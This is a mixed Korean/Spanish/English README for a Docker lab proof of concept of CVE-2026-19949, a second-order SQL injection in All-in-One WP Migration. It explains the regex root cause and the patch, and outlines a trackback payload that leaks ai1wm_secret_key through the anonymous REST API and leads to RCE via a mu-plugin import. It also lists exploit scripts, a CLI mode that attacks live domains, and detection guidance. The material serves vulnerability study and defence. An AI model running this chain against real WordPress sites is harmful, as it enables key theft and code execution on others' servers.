
재현 가능한 Docker 기반 개념 증명(PoC)으로, All-in-One WP Migration <= 7.109의 2차 SQL 인젝션 취약점(CVE-2026-19949)을 악용하여 익명 REST를 통해 ai1wm_secret_key를 유출하고 원격 코드 실행으로 권한을 승격시킵니다.
WordPress용 All-in-One WP Migration and Backup의 인증되지 않은 2차 SQL 인젝션
으로, ai1wm_secret_key 유출로 확장되며 이를 통해 원격 코드 실행(RCE)까지 이어집니다.
다른 언어로 읽기: English · Español
| CVE | CVE-2026-19949 |
| 플러그인 | All-in-One WP Migration and Backup (ServMask), ≤ 7.109 |
| 패치 | 7.110 (2026년 8월 20일) |
| CVSS | 8.8 (높음) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 전제 조건 | 관리자가 사이트를 내보내고 복원해야 함(이 플러그인의 일상적인 작업) |
| 연구자 | Jack Taylor (Wordfence 버그 바운티 프로그램) |
⚠️ 교육 및 방어 목적으로만 사용하세요. 이 실습 환경은 사용자 자신의 머신, Docker 컨테이너 안에서 실행되는 WordPress 사이트를 공격합니다. 소유하지 않았거나 명시적 권한이 없는 시스템에는 사용하지 마세요.
플러그인의 내보내기/가져오기 흐름은 데이터베이스를 SQL(.wpress 안의 database.sql)로 덤프하고, 가져올 때 Ai1wm_Database::replace_table_values()로 각 문장을 다시 작성하여 URL과 테이블 접두사를 대체합니다. 문자열 리터럴을 찾기 위해 다음 정규식을 사용합니다:```php
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
문제는 *negative lookbehind* `(?<!\\)`에 있습니다. **닫는 후보 따옴표 바로 앞의 한 바이트만 검사**할 뿐, 백슬래시의 전체 *run*을 세지 않습니다. MySQL 덤프에서 `\`로 끝나는 데이터는 `...\\'`로 기록됩니다. 즉, **짝수 개**의 백슬래시가 앞에 오는 닫는 따옴표(실제로 백슬래시로 끝나는 문자열)인데, 정규식은 이를 이스케이프된 것으로 간주하여 **다음 리터럴을 과다 캡처**합니다. 그러면 콜백이 과다 캡처된 값에 대해 `unescape_mysql → replace_serialized_values → escape_mysql`을 실행하고, 이 순환이 불균형한 따옴표/백슬래시 시퀀스를 다시 내보내 결과 문장에서 **MySQL 문자열 경계를 뒤집어** 공격자 데이터를 실행 가능한 SQL로 승격시킵니다.
## 2. 근본 원인: 문자열을 뒤집는 정규식
트랙백이 심어진 상태(§4 참조)에서 `database.sql`의 행은 다음과 같습니다.```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
El author termina en \ a nivel de datos → el volcado lo escribe como \\ →
la comilla de cierre queda precedida de un run par. El regex sobre-captura
hasta la comilla de apertura del campo siguiente y el callback re-escapa el
conjunto:```
'Jack Blogs\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena
From that point on, everything that followed in the statement is re-tokenized with the parity changed (data that was a string becomes code and vice versa). The patched regex of 7.110 processes the same line and returns it **identical**.
You can see it byte by byte, without exploiting anything, with `make demo-flip` (`exploit/04_demo_flip.php`), which runs the REAL plugin code of 7.109 and 7.110 on the same dump line.
## 3. The patch (7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
새로운 패턴은 MySQL 리터럴을 올바르게 토큰화합니다: 따옴표/백슬래시가 아닌 문자 하나, 또는 이스케이프 쌍 \x이며, 소유 수량자(possessive quantifier)를 사용합니다. 백슬래시 쌍이 짝수 개여도 더 이상 리터럴 종료를 혼동시키지 않습니다.
Wordfence가 공개한 체인(2026년 9월)은 네 단계로 구성됩니다:
wp-trackback.php?p=<id>). 블로그 이름(→ comment_author)은 \로 끝나고, URL(→ comment_author_url)은 페이로드를 담고 있습니다. WordPress는 백슬래시를 건드리지 않고 저장합니다. 공개된 변형에서 첫 번째 트랙백은 시한폭탄 역할을 합니다: 가져오기 패스의 중단(10초 제한)을 강제하여 페이로드가 이후 패스에서 실행되도록 하며, 이때 가져오기는 이미 사이트의 ai1wm_secret_key를 wp_options에 복원한 상태입니다(내보내기는 덤프에서 이를 제외하고, 가져오기는 패스 사이에 다시 작성합니다).ai1wm_secret_key를 승인된 comment 유형 댓글로 복사하며, 이는 인증 없이 REST API에서 볼 수 있습니다.admin-ajax.php?action=ai1wm_import는 익명 사용자에게도 등록되어 있으며(wp_ajax_nopriv_ai1wm_import), 유일한 장벽은 ai1wm_verify_secret_key()입니다. 유출된 키로 공격자는 mu-plugin을 포함한 자신의 .wpress 파일로 가져오기 체인을 주도합니다. Ai1wm_Import_Mu_Plugins 단계(체인 우선순위 270)가 이를 wp-content/mu-plugins/에 추출합니다 → 다음 로드 시 코드 실행.이 저장소는 단일 트랙백 심기로 체인을 처음부터 끝까지 검증합니다(실험실에서는 시한폭탄이 필요 없습니다: 행은 키 재설정 이후 패스에서 실행됩니다).
연구자의 정확한 익스플로잇은 공개되지 않았습니다(2026-09-07 포괄 검색: GitHub — 기존 2개 저장소는 빈 템플릿과 존재하지 않는 엔드포인트를 가진 대규모 도구 —, Exploit-DB/PacketStorm 0건, Sploitus는 해당 가짜 저장소만 색인, WPScan PoC 없음, 포럼은 뉴스뿐; 법의학적 세부 사항은 research/poc-publica/ANALISIS.md에 있음).
우리가 직접 도출했습니다. 메커니즘 분석(exploit/investigacion/)을 기반으로 합니다. 설계:
\로 끝남 → 취약한 정규식의 1바이트 lookbehind가 다음 리터럴을 과포착하고, unescape→escape 주기가 문자열 경계를 뒤집습니다.comment_author와 문자열 ,가 오프셋을 흡수하고, URL의 선행 쉼표가 삼켜진 구조적 구분자를 복원합니다)./**/ 구분자를 사용하여 튜플의 나머지 12개 표현식을 제공합니다:
\'로 덤프에 도달하고 코드 영역에서는 고아 백슬래시(오류 1064)를 남깁니다 → 그래서 16진수(0x616931776d… = "ai1wm_secret_key");sanitize_url은 공백을 제거합니다(/로 시작하지 않는 모든 것에 http://를 앞에 붙임) → 그래서 /*pwn*/ 시작과 /**/ 사용;comment_author_url) = 키를 읽는 하위 쿼리 → 키가 공개 필드에 도달; 11번째 = 0x31('1', 승인된 댓글); 13번째 = 0x636f6d6d656e74('comment', 익명 REST에서 표시);)가 정확히 15개 값으로 튜플을 닫고 #(공백 없는 MySQL 주석, sanitize_url이 존중)가 원래 문장의 나머지를 무력화합니다.SERVMASK_PREFIX_options를 참조합니다: 가져오기는 정규식 패스 이전에 SERVMASK→실제 접두사를 다시 작성하므로 페이로드는 모든 테이블 접두사를 가진 사이트에서 작동합니다(검증됨). 대상의 유일한 특정 데이터는 URL이며, 가져오기의 strpos 필터를 발동시키기 위해 excerpt에 포함됩니다(해당 문자열을 포함한 행만 다시 작성).결과 문장(복원 중 MySQL이 실행하는 것):
comment_author_url = (SELECT option_value FROM <접두사>_options WHERE option_name='ai1wm_secret_key') — 실제 키가 REST API가 인증 없이 게시하는 필드에 남습니다.
| 체인 단계 | 상태 | 위치 |
|---|---|---|
| 재현 가능한 취약 설치(WP 7.1 + 플러그인 7.109) | ✅ | make lab |
| 트랙백을 통한 비인증 심기(바이트 정확, 자동 승인) | ✅ | make plant |
| 관리자 내보내기; 덤프에 심은 행 포함 | ✅ | make export |
| 근본 원인: 정규식 7.109가 문자열 경계를 뒤집음(7.110은 온전함) | ✅ | make demo-flip |
| 관리자 복원: 뒤집힘이 SQL을 다시 작성하고 7.109에서 행 손상/손실 | ✅ | make restore |
| 키 유출(자체 파생 페이로드) → 인증 없는 REST를 통한 실제 누출 | ✅ | make leak |
| RCE: 키를 사용한 비인증 가져오기 → mu-plugin 실행 | ✅ | make rce-auto |
| 음성 대조: 7.110에서 행이 온전히 생존, 누출 없음 | ✅ | make control-7110 |
| WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3 매트릭스: 모든 버전에서 전체 체인 ✓ | ✅ | research/test-wp-versions.sh |
| 원격 전체 체인(HTTP 전용, 실제 도메인에 유효) | ✅ | python3 cli/poc.py explotar … |
엔드투엔드 검증 결과: 관리자의 export+restore 후, 실제 ai1wm_secret_key가 승인된 댓글의 author_url로 GET /wp-json/wp/v2/comments에 나타납니다 — 인증 전혀 없이 — 그리고 이를 사용해 RCE 단계가 실행됩니다(mu-plugin 추출 및 실행, wp-content/에 증거 마커). 7.110에서는 행이 온전히 생존하고(페이로드는 비활성 데이터로 남음) 누출이 없습니다.
RCE 단계는 또한 독립적으로 입증됩니다: 유일한 입력은 키이며, 수동으로 전달할 수 있습니다(make rce KEY=…) — 누출 직후 공격자의 정확한 상태입니다.
bash research/test-wp-versions.sh 7.0 6.9 6.8로 실행된 매트릭스(버전별로 재구성된 실험실, 플러그인 7.109, 동일한 페이로드):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
메커니즘은 모든 버전에서 안정적입니다: sanitize_url이 페이로드를 존중하고, wp_comments가 15개 열을 유지하며, wp-trackback.php가 계속 작동합니다. 페이로드는 테이블 접두사와 무관합니다(§5 참조).
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas
Artefactos que se generan al ejecutar y **no se comparten** (ver `.gitignore`):
`informes/` (contienen claves filtradas), `exploit/malicious.wpress`,
`plugin-src/` (fuentes 7.109/7.110 extraídas para diff), `research/*.zip`
(zips originales de WordPress.org), `research/database.sql`,
`research/backup-legit.wpress` y los ficheros de las PoC falsas analizadas.
## 9. Requisitos y arranque rápido
Requisitos: Docker (con el plugin compose), make, python3 con `requests`, curl.```bash
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
예상 출력(요약):``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
피해자 사이트 접속: <http://localhost:8080> — admin / `admin-password-123`
(공개 입력 ID 4, ping 및 공개 댓글 포함).
## 10. 단계별 단계 (make 목표)```bash
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
모든 모드를 포함한 단일 명령; informes/에 보고서를 생성합니다
(텍스트 + JSON; 이 폴더는 키를 포함하므로 저장소 외부에 있습니다):```bash
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
- `lab`는 실험실을 구동하고, 전체 체인과 음성 대조군을 7.110으로 실행한 후 보고서를 작성합니다(`--sin-control`은 생략).
- `scan`은 100% 수동적입니다: 플러그인의 공개 `readme.txt`를 읽고, `wp-trackback.php`와 댓글 REST를 확인합니다. 판정을 반환합니다.
- `verificar`는 키가 익명 REST에 이미 나타나는지 다시 확인합니다(예: 심은 지 몇 시간 후, 관리자가 백업+복원을 수행했을 때).
- `explotar`는 침습적이며 `--acepto-responsabilidad`와 도메인의 대화형 확인을 요구합니다: 트랙백을 심고, 관리자를 시뮬레이션하며(내보내기 → 백업 다운로드 → 재업로드 및 복원; **HTTP 전용**, 사용자가 제공한 **자신의 사이트** 자격 증명 사용), 필터링된 키를 읽고, `--rce`를 사용하면 익명 가져오기를 통해 무해한 마커를 남깁니다. 관리자 자격 증명이 없으면: 심고 대기 상태로 둡니다(`--esperar`는 누출을 기다림; `--post-id`는 항목 선택; `--no-interactivo`는 스크립트용).
## 12. CVE 랜딩 페이지
취약점 데이터베이스 미학을 갖춘 정적 이중 언어(ES/EN, 헤더의 전환 스위치, 기본 설정 기억) 페이지로, CVE와 페이로드를 설명합니다: 요약, 체인, **페이로드의 세그먼트별 대화형 분해**, 검증 및 완화 매트릭스.```bash
make landing # sirve http://localhost:8090
외부 종속성 없음(CDN이나 타사 JS 없음): web/index.html을 직접 열거나 정적 서버를 사용해도 동작합니다.
wp-trackback.php 및 핑백을 차단하고(토론/WAF 옵션), 가능한 경우 익명 사용자의 admin-ajax.php 접근을 제한하며, wp-content/mu-plugins/에 파일이 나타나는 것과 비정상적인 컨텍스트(예: 댓글)에서 ai1wm_secret_key 옵션을 모니터링하세요.comment_author가 \로 끝나거나 comment_author_url에 SELECT/**/, CONCAT(, 긴 0x… 리터럴 또는 /*…*/가 포함된 트랙백 댓글; author_url이 스키마 없는 12자 영숫자 문자열인 승인된 댓글.exploit/investigacion/): 플러그인 7.109의 실제 클래스를 로드하고 가짜 키로 테스트 MySQL에 대해 파이프라인을 실행하는 하네스(harness.php)에서 시작했습니다. 퍼저(search_payload.php, fuzz_rows.php, fuzz4.php, bruteforce_author.php)는 트랙백의 네 가지 제어 가능한 필드에 대해 중요한 알파벳을 탐색했습니다. afinar_payload.php는 표현식 수(N=12)를 조정했고 test_payload_final.php는 전체 설계를 검증했습니다. NOTAS.md에는 wp_comments INSERT의 고정 필드, 임포터가 적용하는 sql_mode, 사이트 URL의 strpos 필터 등 구조적 장벽을 포함한 분석이 정리되어 있습니다.research/poc-publica/ANALISIS.md): 이를 보유하고 있다고 주장하는 두 GitHub 저장소는 존재하지 않는 엔드포인트(permission_callback이 있는 aio-migration/v1 대 실제 ai1wm/v1), 잘못된 업로드 필드(file 대 upload_file), .wpress 대신 ZIP 형식, 그리고 순환 전제를 사용합니다. 어떤 제3자 소스도 자체 PoC를 가지고 있지 않습니다.lib/vendor/servmask/database/class-ai1wm-database.php:1637에 있습니다. 추출된 소스는 plugin-src/에 있으며 공유되지 않습니다)이 자료는 교육 및 방어 목적으로 게시됩니다: 취약점 이해, 패치 검증, 탐지 구축. 이 체인은 자체 Docker 랩에서만 실행되었습니다. 서면 승인 없이 제3자 시스템을 공격하는 것은 대부분의 관할권에서 불법입니다. 영향을 받는 사이트를 관리하는 경우: ≥ 7.110으로 업데이트하고, ai1wm_secret_key를 교체하고(플러그인 비활성화/재활성화 또는 옵션을 삭제하여 재생성), wp-content/mu-plugins/ 및 최근 댓글을 감사하세요.